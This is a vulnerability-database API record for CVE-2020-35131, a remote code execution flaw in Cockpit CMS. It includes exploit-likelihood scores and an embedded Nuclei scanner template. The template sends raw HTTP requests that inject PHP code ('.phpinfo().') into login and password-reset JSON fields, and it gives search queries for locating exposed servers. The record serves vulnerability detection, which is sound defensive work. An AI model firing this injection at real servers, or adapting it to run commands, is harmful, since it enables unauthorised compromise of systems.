{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-35131/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-35131/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-35131/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-35131/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-35131/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-35131"},"sightings":{"href":"/api/v1/sightings/cve-2020-35131"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.51299,"kev":false,"percentile":0.98889},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-35131.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-35131\n\ninfo:\n  name: Cockpit CMS 0.6.1 - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI.\n  impact: |\n    Unauthenticated attackers can inject custom PHP code to achieve remote command execution, leading to complete Cockpit CMS compromise.\n  remediation: |\n    Upgrade to Cockpit CMS version 0.6.1 or later.\n  reference:\n    - https://github.com/agentejo/cockpit/commits/next/lib/MongoLite/Database.php\n    - https://github.com/agentejo/cockpit/releases/tag/0.6.1\n    - https://www.exploit-db.com/exploits/49390\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-35131\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-35131\n    cwe-id: CWE-94\n    epss-score: 0.51299\n    epss-percentile: 0.98889\n    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: agentejo\n    product: cockpit\n    shodan-query: http.html:\"cockpit\"\n    fofa-query: app=\"Cockpit\"\n    max-request: 2\n    verified: true\n  tags: cve,cve2020,rce,cockpit,vkev,vuln\n\nvariables:\n  rand_user: '{{rand_text_alpha(5)}}'\n  rand_password: '{{rand_text_alpha(5)}}'\n\nhttp:\n  - raw:\n      - |\n        POST /auth/check HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json; charset=UTF-8\n        Origin: {{BaseURL}}\n\n        {\"auth\":{\"user\":\"{{rand_user}}'.phpinfo().'\",\"password\":\"{{rand_password}}\"}}\n\n      - |\n        POST /auth/requestreset HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json; charset=UTF-8\n        Origin: {{BaseURL}}\n\n        {\"user\":\"{{rand_user}}'.phpinfo().'\"}\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"cockpit\"\n          - \"PHP Extension\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220151558e9a7ce4d4f71800e15f27c459161a8d139021d263ef565aeb1ff52aad8022021b6e01df3a951ee79f8865b31d6feb07a484c824592e0c0a04a9071e01a3501:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2020-35131"}